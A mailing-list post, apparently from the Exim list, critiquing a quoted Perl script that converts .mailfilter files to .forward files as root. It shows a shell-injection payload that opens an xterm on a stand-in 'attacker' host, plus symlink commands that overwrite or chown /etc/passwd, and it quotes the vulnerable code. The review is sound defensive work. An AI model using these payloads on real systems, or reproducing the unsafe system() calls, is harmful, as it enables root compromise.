Kevin J Collins writes:
> We've just finished such a move here at Heriot-Watt. Below is a
> perl script written by our Dave Morriss to achieve the
> conversion. Dave's quite happy for this to be distributed. It
> will no doubt need some tailoring to your own needs.
If there's any possibility of malicious (or just mischievous) users
on the system then don't run this: there are a number of security
holes, some more easily exploitable than others.
> --- [ dot-forward.pl ] -------------------------------------------
[...]
> # Open the .mailfilter file and abort if unable (may not be wise)
> $mfpath = "$mfdir/$mailfilter";
> open(MAILFILTER,$mfpath) || die "Unable to open $mfpath: $!\n";
>
> $fwdaddr = "";
>
> # Dig out the information we need from the mailfilter file
> while (<MAILFILTER>) {
> if (/^ignore pipe "\S+ ([^"]+)";$/) {
> # Here we have found the filtering info and picked out the
> # destination address
> $fwdaddr = $1;
> $fwdpath = "$mfdir/$forward";
>
> print "$fwdpath => $fwdaddr\n";
>
> # Create the forward file (or re-create if already existing)
> system("$echo $fwdaddr > $fwdpath");
For a start, $fwdaddr is under user control and putting something
like
true; xterm -display attacker:0 &; true"
in the mail filter file will let the user run any command they like
as root. Then note that you're using shell redirection as root to
redirect output to a name under the user's control. So
ln -s /etc/passwd .forward
or such like will cause /etc/passwd to be overwritten with the
contents of the user's chosen text.
> # If the file exists change ownership, otherwise complain
> if (-f "$fwdpath") {
> # New file is owned by the sameuid/gid as .mailfilter
> system("$chown $uid.$gid $fwdpath");
This is an even wider hole. A user who does
ln -s /etc/passwd .forward
will then find that /etc/passwd gets chowned to them. Oops.
(It's also calling out to a separate process instead of simply using
chown($uid,$gid,$fwdpath) for some reason.)
Even with all the above fixed, there are still plenty of races in
between the steps so that a user can have a valid or non-existent
.forward one instant and then a symlink pointing somewhere nasty the
next. To rewrite this program safely would at the very least need
something based on
unlink($fwdpath);
sysopen(FWD, $fwdpath, O_CREAT|O_EXCL|O_WRONLY) or ...
and (unless you want to mess about with fchown() which isn't very
portable and may be tricky from Perl), do the whole thing after
doing something like
$) = "$gid $gid";
$> = $uid;
and ensure you do all the user's file manipulation with only the
privileges of the user.
--Malcolm
--
Malcolm Beattie <mbeattie@???>
Unix Systems Programmer
Oxford University Computing Services
--
*** Exim information can be found at
http://www.exim.org/ ***